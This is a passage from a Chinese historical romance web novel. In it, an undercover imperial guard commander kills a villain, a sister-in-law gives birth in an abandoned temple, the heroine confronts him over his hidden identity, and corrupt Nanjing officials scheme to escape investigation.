胆战心惊之际,一班人紧随其后赶来,个个穿着玄色暗纹箭衣,一人当头接下温卓南的迎头一劈,余下的则迅速卷入秦离铮身边,三两下解决掉一人,出手一个赛一个的狠厉。 秦离铮此番得了助力,便把这一干人等交由手下,径自往钱映仪身边赶。眼见那温卓南过招间还欲钻进马车里,秦离铮眼中霎时蕴着一缕冷,顺手捡起尸体旁的长刀,飞速冲去,横刀便是一劈—— “咚”的一声,热血四溅,温卓南尸首分家,脑袋往地上滚了两圈,连不甘的眼都未能阖上。 那袁三先是大惊,而后生出滔天之怒,登时狂喊一声,正要取秦离铮的性命,却被褚之言拦住去路,反手一刀刺进了肋下。 这时候温涧舟也带着整个温家的侍卫赶了过来,远远目睹温卓南分裂的尸身,他心中大 骇,挪眼盯着正往脸上擦血的青年,连嗓音都在打颤,“你敢杀了我儿?我儿是非对错自有衙门定夺,你怎敢杀了他?!” “来人,都给我围了他!” 一行侍卫霎时持剑凑上前。 秦离铮瞥着温涧舟,一步步走向他,不紧不慢把怀里那块腰牌捡出来,悬在温涧舟的眼前。 他噙着一抹冷冰冰的神情,嗓音如擂鼓坠在温涧舟心头,“衙门?温卓南已然承认罪行,按律当斩,区区小事,我有权先斩后奏。” “包庇这么个畜生,于温家而言已然不是件好事,回头待进了城,我便请您去趟南直隶锦衣卫的诏狱,倒比衙门好上许多。” “温大人觉得如何?” 温涧舟不可置信瞪圆了眼,坐在马上的身子霎时歪了,两三下就摔落在地,微张着嘴,颤着目色凝视着眼前这居高临下盯着自己的青年。 皇上身边的锦衣卫指挥使怎会出现在金陵?怎还在钱家小姐身边做个小小的侍卫?来金陵又是因何?是皇上对他们生了疑心还是自己多想? 温涧舟如被棍棒敲了脑袋,直直发蒙。 秦离铮眼梢里泄出一缕蔑视,不欲再与他多费口舌,扭头望向正制服一帮江湖人士的手下们。 锦衣卫们忙压着几个活口来到秦离铮身前,恭敬道:“指挥,这班人像是匪。” 那便可算作官匪勾结了。 秦离铮正要说话,怎知这时候马车里传来钱映仪一阵惊呼,带着哭腔,“嫂嫂!嫂嫂你怎么了!” 秦离铮脸色陡变,厉声喊:“褚之言!” 那头褚之言正拔出刺进袁三肋下的刀,闻声忙肃着神情快步行至马车旁,一撩帘子去望。 任郁青的脸色此刻白得似案上的纱纸,浑身都在止不住地发抖,一双手紧紧兜着小腹,连鬓边都滚着汗珠。 他顾不得留神钱映仪盯着自己的惊诧神色,目光蔓延往下,待看见一抹刺眼的红色时,忙摁住了任郁青的手腕。 只片刻的功夫,他神情一再转变,望向钱映仪,断言道:“怀胎不足,孕脉紊乱,她要生了!”—— 作者有话说:OK,恭喜温卓南喜提掉脑袋。 猥亵就该死哈! 放心~嫂嫂不会有事 第43章 任郁青的哑穴已被钱玉幸解开,她半倚向车壁,因疼而坐不住,身子歪歪扭扭的。 她的眼底像盛着一片海,金黄的光束透进车窗扫在她鬓边鼓动的青筋上,延绵至眼眶,整片海面上浮着汹涌的希冀。 她深深吸气,见褚之言有把脉的功夫,也顾不得什么男女之防,指甲一把陷进他的手背,低念道:“你会医术,你懂医,你能救我是不是?!” 马车像隔绝出了两个地界,外头是遍地横尸,透着静悄悄的死气,里头是一股浓烈、急躁的——对生的渴望。 钱映仪同钱玉幸两个怎么也没能料想今日出门赴宴会发生这样惊心动魄之事,也未料任郁青现下就要生产! 随行的一应丫鬟还在城内,此处偏僻,一路行来根本没几户人家,两个又没生产过,眼瞧任郁青益发苍白的面色,也跟着急得鬓发尽湿。 钱映仪闭了闭眼,强逼自己压下心头的惶然,蓦然道:“马车太窄,我嫂嫂可否转移至一处稍显空旷的地方?” 这话是对褚之言说的,他低垂的眼落在任郁青的脸上,喉间穿透出一股肯定,“自然,方才赶过来时我见有座荒庙,她如今动不得,待会马车动起来,难免又有颠簸,你们务必护好她的身子,备下干净的帕子、软褥。” 他攒着眉,声音很沉,“她已等不到再进城叫稳婆接生,如今只得赌一把了!” 旋即不再耽搁,急匆匆撂下车帘,遮蔽住任郁青的痛呼,他遥喊秦离铮,“钱少奶奶再耽误不得了!指挥!” 秦离铮回身盯住手下,额心拧成了一个繁琐的结,“该下狱的下狱,该收拾的收拾,褚之言虽懂医术,却从未替妇人接生过,这事最要紧,以最快的速度去寻几个稳婆来!” 他一面说,人已飞快走向马车,继而与褚之言对望一眼,不再犹豫,立即驭车往那处荒庙赶。 两人面色都算不得好,抓捕南直隶贪官的网已织了一半,期间耗费近乎大半年的光景耐心等待,只差猎物尽数落网即可。 今日因事出突然,秦离铮不得不暴露身份释放信号。 这大半年来,他对外虽依旧是那个冷漠寡言的林铮,可钱家上下和气一团,他爱慕钱映仪,早已在心底将钱家归纳进自家人的队列。 今番任郁青被掳走究竟会发生什么,他即便料事如神,也无法预判,只能抛开一切,借以自身最直接的权势去闯城门,抓住每一丝机会去救她。 秦离铮听着里头钱映仪安抚任郁青时的哭腔,握紧缰绳的指骨益发用力,面上却无甚情绪,只一味往前赶。褚之言却忖度得更多,可左思右想半日,最终也只能嗟叹一声。 他们暗中查这些贪官,预备一网打尽,本也是源自于皇上的一场豪赌,倘或只是两三个官员,事情倒也十分好办,可皇上要的是所有贪官污吏,他们自然也就不得不在金陵一步一步慢慢磨。 今日之前,牌面尚且平稳,今日之后,牌面的走向究竟如何,已再没有谁能稳当算计好每一步。 提前暴露身份,于他们而言,并不是一件好事。那班官员起初会惊惶无措,待回过神来,就没那么好捉贼拿赃了。 七月末的天气时常有变,赶至那荒庙时,天已阴沉得像老天爷要一口吞了所有人。秦离铮翻身下车,一把撩开车帘道:“映仪,你同姐姐先下来。” 因太着急,钱映仪的眼睛哭得又红又肿,匆匆望了他一眼,便跌跌撞撞冲下了马车。 褚之言看着任郁青的脸色,一颗心渐渐往下沉,道了句“抱歉”,一把将她给抱出马车,转而脚下生风,进了荒庙左右扫视一圈,忙道:“寻些干净的干草聚拢在一处,软褥垫在上面,再捡柴生火,钱少奶奶身上的温度凉得可怕。” 秦离铮闻言默然,脚步一转去寻干净的水源。 钱映仪同钱玉幸的动作虽慌乱,却十分快。褚之言将任郁青平放在软褥上,落了条膝跪在她身侧。 他的指尖再度探向她的脉搏,嗓音刻意缓了缓,“钱少奶奶,我是男子,有些稳婆能办的事,考虑到你的情况,我不能办,待会我背对着你,钱小姐她们会在一旁守着你,你放心,孩儿暂且没事,倘或生产顺利,我亦会尽全力保住你的性命,最要紧的是你不能慌乱,你能明白吗?” “明白,”任郁青努力让乱糟糟的一颗心渐渐平稳,忍着腹痛深深吸气,眼神里的坚韧之色尽显,“无论如何,我要活着。” 褚之言向来十分碎嘴,这时候也正经起来,招来钱映仪二人去门外,嗓音用力往下坠,三言两语把要紧之事交代给她们,“妇人生产如过鬼门关,我方才那样说,是为着定她心神,待会我将接生诀窍一并教授与你们,你们时刻同我说她的情况,也不能慌神,听懂了吗?” 钱映仪喘着气点头,正要低声答话,那头任郁青又是一阵痛呼,褚之言面色一变,“正是现在,你二人一并围着她!” 两人忙跌爬去任郁青身侧,颤着手撩起她的裙摆,褪下里袴。钱玉幸摸了一手的血,忙用另一只干净的手去宽慰任郁青,“嫂嫂,不怕,咱们只当是在家里,先前不是提前预演过?就按那时候的来!” 褚之言道:“钱少奶奶忍着点痛,不要大喘气,吸气时蓄力,呼气时缓缓把力往下沉,莫要急。” 任郁青双腿打着颤,额上冷汗止不住地往下淌,短短数息的功夫,身下的软褥已湿了一大片。 钱映仪不断搓着她益发冰凉的手指,心头有无尽的惶恐,却仍把下颌重重点着“嫂嫂,我替你打气,团姐儿在你肚子里闹了这么久,待她出来我好好收拾她,你可暖和些了?” “好疼”任郁青猛然胡乱抓紧钱映仪的手,力度之大仿佛要拧断腕骨,这时候突然呼吸变得急促,也不知哪来的力气,嘶声哭骂道:“钱林野你个臭混不吝,王八蛋!我快死了!” 钱映仪粘连成一簇簇的睫毛又洇润起来,跟着一起骂,“钱林野就是个王八蛋,待他归家,咱们一齐打他个落花流水!” 褚之 言听出任郁青益发急促的呼吸,紧张之下手也不由地握成拳头,“少奶奶!再蓄两回力,孩儿想是要出来了!” 钱玉幸弓身盯着她的裙下,打颤的嗓音里透着一丝庆幸,“看见头了!” 任郁青倏地闭眼,气息变换两个来回,神情陡变! 旋即浑身脱力跌躺在软褥上,双眼失神,发怔起来半阖着眼,手上的温度却渐渐往回涌,呼吸也逐渐平缓。 钱映仪握着任郁青的手来回揉搓,呼吸却有刹那窒息,一直未能听见啼哭声,她眨眨慌乱的眼,哭问,“为何没有动静了?” 钱玉幸哆嗦着抱出婴儿,面露绝望,喃喃道:“不可能” 褚之言心中咯噔两下,忙问,“孩儿是何症状?” 大约是被巨大的悲戚创进心头,钱玉幸的两条胳膊一直在抖。 钱映仪见状也双腿发软无力,一屁股跌坐回草堆里。 只稍刻的功夫,她猛然给自己掌掴一耳光,这一下打醒了发蒙的自己,她连哭带爬行至钱玉幸那头,小心翼翼接过团姐儿,道:“姐姐,你去看顾嫂嫂,我来。” 她垂着视线紧紧盯着臂弯里的瘦小身影,逼迫自己冷静下来,细细检视一圈,道:“全身发紫,软绵绵的,连眼睛都睁不开,呼吸十分弱,几乎没有” 说到此节,她话语顿停,屏气凑近团姐儿,细听片刻,渐渐瞪圆了眼,道:“还有呼吸!” 褚之言这才松了口气,嗓音缓和许多,“钱小姐也莫要慌,孩儿口鼻里稍有些东西待清理。” 他掏出把匕首抛去,道:“事出紧急,没有剪子,只能将就用这个,拿到火上反复烤,先把孩儿的脐带断了,有结实一些的绳子或线,切记先拿线绑紧了再断脐带,把孩儿抱来交与我,再同你姐姐去照顾少奶奶去吧。” 钱映仪瞳眸里浮起湿润,晓得没什么大碍,高悬的心终于窜下去,抱着团姐儿复又把身子俯低,转而令钱玉幸取下自己脑袋上的簪子,扯出那根细细的弦,两人一并断了脐带。 接到团姐儿前,褚之言就已褪下外裳,一把将她给裹得严实,清理过她口鼻里的残存物后,又使她小小的身子躺在胳膊上,维持头低脚高的姿势,动作稍轻稍快地拍打她的脚心。 下一瞬,一声嘹亮的哭声响彻破庙—— 任郁青发怔的神情渐渐有了变化,眼底的光一点点凝聚在一起,眼角的泪砸落进鬓角里,“我和团姐儿都活下来了” 钱玉幸喜极而泣,忙不迭去取秦离铮先前搁置在庙外的水,泄出去的力气霎时回流,一面烧水,一面嘀咕道:“我就晓得定能母女平安,我晓得的。” 待仔仔细细替任郁青擦拭过一番,庙外渐起脚步声,还有秦离铮同人说话的声音。 数息的功夫,两个稳婆火急火燎冲进来,见孩儿已然生出来,不由地也是微张着嘴。 好在钱玉幸忙喊二人,二人才把任郁青里里外外都检查一遍,叹道:“这位奶奶真是命大,没什么大碍,待回家里养一养就好了。” 秦离铮使唤去城里叫人的手下也已赶回,带着钱家的几个丫鬟,几人合力将任郁青一并送进围得密不透风的马车,钱玉幸便也抱着团姐儿一并跟着坐了进去。 钱映仪落在最后,她的情绪大起大落,到底有些支撑不住,恍惚行至秦离铮身前时,手上尚且粘着点血,一双眼睛因哭得太久,眼眶里浮着刺眼的红。 “阿铮,”她瘪着唇,先前那股害怕的余韵尽数冲击着她,“我” 话音未落,只觉一阵头晕目眩,阖眼前依稀记得秦离铮那张神情陡变的脸在向自己靠近。 夜来风急,淮河两岸炸开了锅。 温卓南圈禁幼童以供自行发泄的事只消半日就在整个金陵城传遍,整个温家门前都挤满了人头,包括应天府署门前亦是如此。 百姓们齐心协力要上报朝廷,要令温家不许替温卓南收尸,养不教父之过,百姓们可不信什么亲父继父,一并将温涧舟也给推上了风口浪尖。 令整个应天府官员急躁不已的却并非是怒不可遏的百姓,而是在他们毫不知情的情况下,锦衣卫指挥使竟已神不知鬼不觉蛰伏在钱家小姐身边。 这期间长达大半年之久,他可有收集到什么与自己有关的把柄?皇上命他来金陵究竟是做什么?皇上想对他们这班官员如何? 这些官员关起门来或多或少都有些不可见人的东西,有些人苦熬数年,好容易才调任至应天府做官,自然不想丢了乌纱帽,也不想丢了命。 听闻这位指挥使在诏狱里处理温卓南的案子,忙不迭就赶了过去,试图三言两语先将自己给摘干净。 可惜到了冷冰冰的诏狱前,一班人又被那帮锦衣卫给唬得有些站不住脚。 再三思忖起来,最终还是劝彼此莫要一时心急吓坏了自己,方才急汹汹地来,这会子又弱依依地回去。 亥时末方至,微雨飘洒在钱宅屋檐上,雨珠凝聚成一个水球倏然往下落,“滴答”一声落在小小的水洼里,惊醒了钱映仪。 她猛然自帐子里坐起身,发蒙扫一眼闺房,两三下就踩鞋下榻,一面往身上套着衣裳,一面喊,“夏菱!嫂嫂呢!嫂嫂呢!” 夏菱与春棠的身影转瞬从廊下奔来,一把扶住险些给门槛绊住脚的钱映仪,夏菱稍放轻了嗓音劝道:“莫急莫急,小姐莫急,少奶奶如今睡着了,请来的大夫诊治过了,一切平安,小小姐也睡着,太太同二小姐正在一旁守着。” “发生了这样的事,太爷、姑爷被吓得脸都白了,忙写了书信送去扬州,命大少爷无论如何都要紧着回来,小姐,您睡了半日,现下可有什么不适?” 闻听都无大碍,钱映仪紧提的心渐松,把下颌轻点,“我去瞧瞧嫂嫂与团姐儿,我静静的,不说话。” 夏菱把她拉回庑廊下,笑劝道:“哎唷,小姐,先顾着您自己吧,少奶奶那头好着呢,明日、后日,往后小姐想何时见就何时见,不急这么一小会儿。” 她复又追问,“小姐,您这会究竟还有没有不适?您回来时,奴婢同春棠都吓坏了。” 钱映仪一听这话,方忆起自己是惊吓过度晕厥倒地,思及阖眼前的那张脸,她扭头望向夏菱,嗓音很轻,“他人呢?” 夏菱一怔,显然明白她在问谁,张了张嘴,正要答话,不防外头响起脚步声,有人顶着潮湿的雨踏进了云滕阁。 “夏菱,同春棠下去吧。” “是。” 今夜因下雨的缘故,半空黑漆漆的,又因白日经历这样一场事,钱映仪挪眼盯着轻晃的黄纱灯笼,觉得这些灯笼在廊下顿显凄丽。 微雨蒙蒙,她稍显混沌的思绪在此刻渐渐明晰。白日她因太过担忧嫂嫂,有些东西听在耳朵里,尚且来不及细想。 褚之言因何莫名出现在聚宝山,二三十来号江湖人士因何转瞬被杀了,温卓南前一刻还欲要她们的性命,后来为何没了动静记忆稍显模糊,温大人好似曾怒吼质问,为何要杀了他儿。 钱映仪遥望青年步步向自己走来的身影,目光逐一扫过他的脸,落向他的肩,胳膊,腰身。雨声逐渐淅淅沥沥,由凉风一并送进钱 映仪的耳朵里,她依稀又记起,仿佛也是一个雨天,她把他捡回了家。 片刻,熟悉的面容益发逼近,钱映仪蓦然出声,“站住。” 秦离铮猛地停步,默然望着她。 两人本就站在彼此的另一端,眼下只隔着两三盏灯笼的距离,在此刻却显得益发远,仿佛隔了条无法再跨越的河。 “你能掏出腰牌令守城门的府兵立刻放你出城,能一刀杀了温卓南,我听褚之言称你指挥。” 钱映仪隔着灯火紧紧盯着秦离铮,目色渐显陌生,语调轻到近乎无声,“你究竟是谁?” “为何要骗我?”—— 作者有话说:有人的马甲被扒开了 [好的]不存在虐恋 第44章 疏疏雨声,同风声一起响彻在耳畔,芜杂得使人心生躁意。这雨说大不大,说小不小,像极了钱映仪的心。 她盯着秦离铮的脸,有些盼望他说出实情,想及过往种种,又蓦然有些怕他说出来。 四目相对,相顾无言。钱映仪眼眶浮着淡淡一抹红,她没忍住催促了一声,“说话。” 秦离铮知晓她十分聪敏,今日自爆身份时便已猜想到此时境况。 钱映仪的这声催促好似往他心里重重一敲,他霎时无措往前半步,嗓音沙沙的,“不要哭,你听我解释。” 这话勾出钱映仪眼底的湿润,他前进半步,她也跟着后退半步,丝毫不错眼地望向他,半晌挤出一抹笑,“你向来果断直白,怎的,轮到我问你,一时半刻竟答不出来了?那便叫我来猜猜。” 她垂下眼,遮蔽了眼底的情绪,细细回想起过往那些被她忽略的细节,努力维持着平静开口:“你身手十分好,去蔺家赴春宴那日,我同俞敏森起了争执,其他的少爷小姐尚且都避着此事,恨不能叫自己躲得远远的,我早该想到的,倘或你只是个普普通通的侍卫,为何对瑞王府的暗卫、对瑞王府没有一丝畏惧?” “这话我曾经问过你,以你的身手何至于受伤?何至于在你我初见那日倒在大雨里?你那个烂赌的弟弟呢?你在我身边待了这么久,我一次也未听你提起过。” 钱映仪听见他的脚步声,蓦然拔高嗓音,“不要过来!” 她凝视着脚下模糊的地砖,倏然觉得有点冷,周遭也变得晦暗不明,像坠进了一个黑漆漆的冰窟里,“你从不提起你的父母,不提你在京师的家” 说到此处,她话音顿停,像是抓住了什么要紧的东西,好半晌都陷入默然,没有说话。 刹那间,许多事在这一刻兜兜转转转进她的心里,心底有了一个胆战心惊的答案,她倏然又笑了笑。 “那日,你同我说你想当锦衣卫,是我听错了。你是京师那位心狠手辣、被名门世家避如蛇蝎的锦衣卫指挥使,是不是?” 不久前的一个午后,她带着羞怯怯的心思与姐姐、嫂嫂闲谈,嫂嫂的话仿佛在此刻钻进她的耳朵里。 钱映仪浑身有些发疼地闭了闭眼,“哥哥同你闹过不愉快,哥哥认得你,姐夫也认得你,那如此推敲说来,姐夫把你从我身边调走那几日,也是因知晓你是谁,刻意防着不叫你离我太近。” “我久在金陵,对京师的许多东西都陌生至极,你的身份叫我猜出来了,再叫我猜一猜你的名字。” 她垂头仔细想了想,道:“你既是锦衣卫指挥使,自然不必惧怕瑞王,可你那日对付那些暗卫时,更像在泄愤你因何要泄愤?” “是了,其实我早该发觉你的不对劲,”钱映仪兀自点点头,“早在某一个夜里,你便开始对我言听计从,一转先前刚到我身边时的不耐性子。” 她深深吸气,终于掀眼望向他,眼眶里饱胀着泪水,“与其说是对我言听计从,我叫你打墙你便打墙,不如说是因我替你死去的兄长说了话。” “二叔同我说逆王案时,你在外面听见了,是吗?” “秦家长子因瑞王的诬陷而失了命,秦家次子听说与家中闹得不愉快,再有消息时,好似是进了锦衣卫,”钱映仪眨了眨眼,怔然的脸上滑落一串泪珠,“这便是你不惧怕瑞王的理由我懂了,我都懂了。” 她往后再跌退了半步,退出亮锃锃的光束下,由昏暗笼住她在此刻显得过分单薄的半副肩,“林铮不是你的名字,你长兄名唤秦离然,你呢?” 她有了答案,带着生硬细细咀嚼着他的名字,“秦离铮。” 被蒙骗至今,一切都被揭开,钱映仪扯出个嘲讽的笑,一连迭点头,“你骗我,你骗我。” “你还有哪件事没有骗我?” “倘或那日我捡你回家是个误会,你又因何一直待在我身边不走?皇上交代你来金陵做什么?” 俄延半晌,她已忍不住自己的哭声,哽咽起来,“你是不是在利用我?” 即使秦离铮早知有这么一天,在面对她的讨伐时,也无法努力让自己维持平静,先前想解释的种种在她的推断下碎成了渣。 他不顾一切往前把她拉进怀里,不顾她的挣扎,要彻底把她揉进骨血里,好用来覆盖心头的慌乱,“映仪,映仪,你听我说,我什么都告诉你。” “皇上命我来金陵查贪官污吏,我原是想被蔺边鸿捡回去,一场误会才阴差阳错来了你家。” 他神色算不上平静,说起话来也有些语无伦次,“最开始我是想过借你的身份接近金陵这些门户,不我没想要利用你,喜欢是真的,爱也是真的,一直瞒着不告诉你,是不想你知晓那些阴谋诡计,他们一个个都想着接近你” “这不是你骗我的理由!”钱映仪蓦然在他怀里尖叫挣扎,胡乱拍打着他,先前努力遏制的镇静尽数被掀翻。 她一面哭一面去推他,“哥哥他们回金陵,你明明有机会能告诉我,哪怕借以哥哥或姐夫的嘴先向我透露一星半点,我何至于被你们像个傻子一样蒙在鼓里这么久!你同我的哥哥、姐夫一起骗我!” 推不动他,她干脆抬起那张悲戚的脸,叫他看着自己嚎啕大哭,“你把我当作什么?亏得我先前还在担忧爷爷与爹不满意你,替你想了许许多多的借口” “我担心你被哥哥打,我担心你的侍卫身份不被家里认同,”她的嗓音一声比一声尖锐,“倘或我今日没察觉,你还想瞒我到几时!” 大约是哭声太大,引着几个小丫鬟探出一双关切的眼来偷瞧,没几时又被夏菱给拽了回去。 她眼睛里的湿意仿佛糅进秦离铮的心里,一霎就无措起来,连先前在心中预演过无数回的理由都统统被推翻。他晓得,她说得对,没有哪一条是污蔑了他,因此,身为犯下大错的那个人,他连解释都变得无力。 哭过一阵,钱映仪渐渐收了嗓音,趁他松懈,一把从他怀里退出来,再也不抬眼瞧他。 她呆呆站在原地,洇成一簇簇的睫毛扇了扇,满腔愤意无处宣泄,低垂在两侧的手缓缓抬起,冷不丁把腕上那个银牡丹手镯摘下,狠狠往地上一掷。 刹那间,连哭声都被这动静掩盖,“身份是假的,名字也是假的,统统是假的,什么喜结连理,什么庄重虔诚的爱,我都不要!我不要!” 旋即一头冲回正屋,把秦离铮曾送给自己的东西一并狠砸在地,正拿着那凤凰冠时,余光瞥到他欲追进来的身影,钱映仪蓦然闭眼往他身上扔,连哭喊都变得嘶厉,“你滚,你滚!我不要再见到你,滚!” 这一幕把秦离铮狠狠扎了下,他心头牵出无限的恐慌,实则拖着这么久不告知她实情,正是怕她不要他。 他倏地捡起凤凰冠,连带着那 些被她狠掷在地的首饰,一并搁在桌上,旋即再度揽紧她,无论她如何拍打都不松手,“你打我骂我,拿剑往我身上捅出几个窟窿都没关系,只要你能出气,要我做什么都可以。” “只这一点,你说不要再见到我,我做不到,对你,我绝无放手的可能!” 他照着从前情浓时的那样俯身亲她的腮畔,眼角也滑落一滴泪,一下一下安抚她暴起的情绪,手下力道却没松,生怕一个错手她又离开,“你现下不想见我,我可以暂时不出现你面前,可要我从此以后都同你没有任何关系,不妨你现在就一刀杀了我来得痛快,别哭,别哭,都是我的错” 钱映仪被他抱得喘不上气,头晕目眩起来双腿发软,她侧脸躲开他的吻,眼睛里的湿意益发浓重,双手抵着他的胳膊,“你走,我现在不想见到你。” 秦离铮反手攫紧她的手腕,垂眼定定盯着她,连语气都变得小心翼翼的,“我不走,倘或我现在走了,再也见不到你呢?” “你现在不走,我便当从未与你认识过,”钱映仪回避他的目光,垂着眼抽噎,“我不再说第三遍。” 别无他法,秦离铮心底虽慌神,只得先依着她。渐渐地,他松了手,下意识抚上她的额发,指腹挪至她的眼梢,要替她拭一拭泪,察觉她躲闪的动作,心头又是一疼。 半晌,他收回手,颓然笑了笑,把下颌轻点,“好,我等你冷静下来。” 钱映仪倏然转背,向来倔强的两片肩头深深往下坠,不再如从前那般凝视着他,直至听见他出去,才闭了闭眼,又细细啜泣起来。 夏菱同春棠这时候悄然进来,替她揩拭爬满整张脸的泪,钱映仪终于忍不住,回抱住两个丫鬟,变冷的泪霎时又滚烫起来,一句接一句地呜咽呢喃,“他怎么能这样骗我怎么能这样骗我” 雨势渐大,她过分赤忱的爱意一霎遭受到冲击,此刻便连同着悲愤的哭声一并掩进了这场冰冷的雨里。 雨后秦淮河面又浮起烟云,这场雨把夏末的暑气尽数隔绝,夏日的袍子穿在身上总透着丝丝寒冷。 可令人如坠冰窟的事情一桩桩迎头砸下来,竟叫金陵整个官场都跟着荡了荡。 先是秉笔太监常容下狱一事被传至蔺边鸿的耳朵里。 那时他正惴惴不安歪在榻上,同荀芸道:“我听过这位秦指挥的名头,他这几年替皇上杀了不少官员,你说,无端端地,他怎的会来金陵?” 荀芸迟迟寻不到燕文瑛,如今模样已不比从前,眼梢飞出几道皱纹,闻言撇了撇嘴,嘶哑的嗓音自喉间飘出来: “你只管如往常一样便是,搞不清他来金陵做什么,火没烧到咱们身上,咱们就只当不知。就一点,你往南直隶户部打点那么多,手脚做得干净,还怕他查你不成?” “即便是查,也讲究一个证据,再说了,退一万步讲,即使他听了什么风声,要查你,有干爹在,他敢动手?” “话是这么说不错,”蔺边鸿总觉不安,把手搓一搓,小声道:“可是,如今咱们与燕榆各走各的路,不比从前了,未雨绸缪总是好的,倘或知道这秦指挥要做什么,咱们也好先防范起来,不至于迎面一棒打得蒙头打转嘛” 谁知一语成谶,蔺边鸿的心腹管家跌跌撞撞冲进来,叫门槛绊得匍匐在地,带着点惊恐,磕磕巴巴道:“老爷!太太!大事不好,京师来信,常常公公被皇上下狱了!” 蔺边鸿大惊,支着脑袋的手霎时发软,忙从榻上爬下来,一连迭追问,“好好地,干爹怎么会下狱?他犯了何事?” 荀芸也变了脸色,一记杯盏砸向地面,厉声道:“仔仔细细说来!” 管家喘了两口气,敛神细想,道:“信上没说得太详细,只说这回苏州府上贡了一批缎子,皇上本来高兴着呢,还赏了常公公,可不知怎地,好端端地,变成了常公公私藏龙袍,皇上大怒,一句话就叫常公公下狱待查” 私藏龙袍?那可变相等同谋逆!蔺边鸿眼前一黑,身子在原地晃了晃,跌坐回榻上半晌没回过神,“这样大的事,干爹即便不死也要去了半条命,怎会私藏龙袍呢?” 他细细想了想,猛然像被迎头打了一记,扭头盯着荀芸,目色透露着骇然,“秦指挥早在三月时便来过咱们家,钱家映仪带他来赴春宴,还同瑞王世子的暗卫过了招,你还记不记得这回事?” 荀芸也惊住了,很快回过神来,“你是说,那时他就盯上了咱们家,干爹下狱,或许是他的手笔?” “不是或许!”蔺边鸿倏然连嗓音都在打颤,“一定是他!一定是他!” “他竟敢对干爹动手,足以证明他找着了证据,”蔺边鸿忍不住缩起肥厚的肩,肥手不停往胳膊上来回搓着,“你说,他究竟抓住了我什么把柄?他因何迟迟不动手?在等什么?” 这时他又记起燕榆的好,忍不住打个哆嗦,道:“倘或同燕榆还在一条船上,这时还能一起寻个办法出来。” 可惜,燕榆这头亦是自顾不暇。次日天色晴朗,燕榆照常往府署上值,府署门外仍堵了些讨伐温家的百姓,他眼梢里飞出一抹蔑视,收了眼,径自踏进大门。 没走两步撞见余骋,便露出个谄媚的笑,“哟,余大人,今儿挺早。” 余骋启唇应声,“燕大人也早。” 三言两语交谈一番,燕榆想及余骋不久后便要往下头的州府去,届时没了余骋在,燕文瑛的案子或许便能叫自己给压下来,他再要着手贪点什么,也方便许多。 对于拉拢余骋这回事,燕榆渐渐消了心思,那钱映仪不好接近,他便暂且先放一放,来日方长。 燕榆的心早已在无形中化作硬邦邦的白银,贪得久了,他已不晓得一个“怕”字如何写,这几日金陵官场炸开了锅,他即便知晓秦离铮来了金陵,也暂且还没当回事。 没有证据,他能拿自己如何? 燕榆便扯出个益发和煦的笑,不去想没有的事,问起余骋的打算,“余大人接下来是预备往苏州府去,还是” 余骋垂眼扫量他补服上的补子,唇畔也跟着噙起一抹若有似无的笑,“燕大人与其关心我,不妨先想想自己。” “余大人这是何意?”燕榆本能地察觉出一丝不对劲,渐渐地,这才把脸抬起往四周瞧。 昔日与自己不对付的那些个府署官员正稀稀散散站在角落里,神情都有些幸灾乐祸。 燕榆面色一变,顾不得再与余骋说话,忙擦着他的肩头过,一径穿过大堂与二堂,气吁吁靠近自己那张公案,待看清案上静躺的札付时,腿一软,险些栽倒在地。 札付向来只有一份,除了一种情况——卸任换人顶替。这时候京师吏部便会起草两份札付,以便告知两方。 燕榆木怔怔拿起来细看,扫量到上头言明他停职待办时,心神一慌,一个没留神,札付就从手中脱落。 这种恐慌一直到他夜里六神无主归家,迎面撞上燕如衡,才稍稍收敛了点。 燕榆盯着他,道:“皇上的旨意,我的府尹之职被停,换京师都察院的魏明过来担任新的府尹。” 燕如衡一惊,下意识问,“怎的这么突然?” 很快他又把额心拧成个结,语气带着几分笃定,“是秦离铮在背后搞鬼?” 自打秦离铮身份暴露,燕如衡就回过神来。他早早就觉得钱映仪身边的这个侍卫不太对劲,又说不出来,原来他是皇上的人 初初震惊过后,他又无端端生出两分窃喜与担忧。 窃喜的是钱映仪瞧着不像知道此事,倘或知道秦离铮一直在骗自己,必定有一通闹,难过的是,若闹来闹去,心里头不舒服的也是钱映仪。 他如今只盼着她好好的。 摆一摆头甩 开这些,燕如衡在此刻深觉自己的性命与燕榆是绑在一处的,便稍整神色,问,“爹打算怎么办?” 秦离铮既在金陵蛰伏这么久,定然是在搜查什么,他可是查到了什么证据递交给皇上?因此,皇上才卸了爹的官。 显然,燕榆也往这上头想了。贪了这么多年,与其说他贪得无厌成性,不如说是拿银两填补他因自身隐疾而逐渐畸形的心。 他立在廊下来回踱步,半晌,狠咬牙关,稍有些疯魔地与燕如衡道:“你去把范大人请来咱们家,避着人,咱们再干最后一票,管他有没有证据,他迟迟不动手,想必在等什么。” “干完这一票,咱们一家就起一场火,来个假死脱身,好过被擒了人头落地!” 燕如衡一怔,不赞同道:“这种关头,您这样做,与送死有什么区别?” “我的乌纱帽都好端端地凭空没了!”燕榆恨道:“你懂什么,多少人等着看我的笑话?还有你长姐迟迟找不到,蔺边鸿若晓得我被停职待办,他岂会不向咱们家施压?届时人人都能往咱们家踩上一脚,我绝不允许此事发生!” “温涧舟进了诏狱,他那继子犯下那样的事,他还能不能出诏狱都两说,范大人这头压着咱们的救命之恩,不会不帮咱们家的,你速速去办,听爹的,干完这一票,咱们一家子都远走高飞。” “届时隐姓埋名,天高皇帝远,咱们照样能活得好好的。” 燕如衡沉默着,忖度片刻,目中泛着悲苦的凉,他尚存人性,看着燕榆道:“范大人执掌都水清吏司,我思来想去不过就是那十艘新造的货船,货船已在收尾,您还想贪什么?有哪样还值得您豁出性命去贪?” “若船出了意外,届时运几千万石粮食上京师,船身受损而导致沉船,上千名船工被追责,一个不慎引起百姓自发起义,还有皇上的追查,您有几颗脑袋够赔的?” 他闭了闭眼,劝道:“爹,收手吧,皇上只是命您停职待办,并未说要将您下狱,也并非是知晓您贪墨之事,别自己吓自己,若要举家逃命,您老老实实在家待着,趁秦离铮不注意,咱们或许也能逃。” 燕榆冷笑,“我不是非要贪,是要把范大人拉下水,他是都水清吏司的执掌官,届时即便要追查,也会先查他。” “当初因范宝珠在他跟前哭自己被小姐们嫌弃,他这才答应我使银子替他治病,因范宝珠爱慕你的缘故,他会留给范宝珠一个完整的夫婿,完整的婆家。” “他爱女心切,会一并把此事兜揽在他自己头上,有他在前头挡着,咱们才有大好的机会逃命,你懂不懂?” 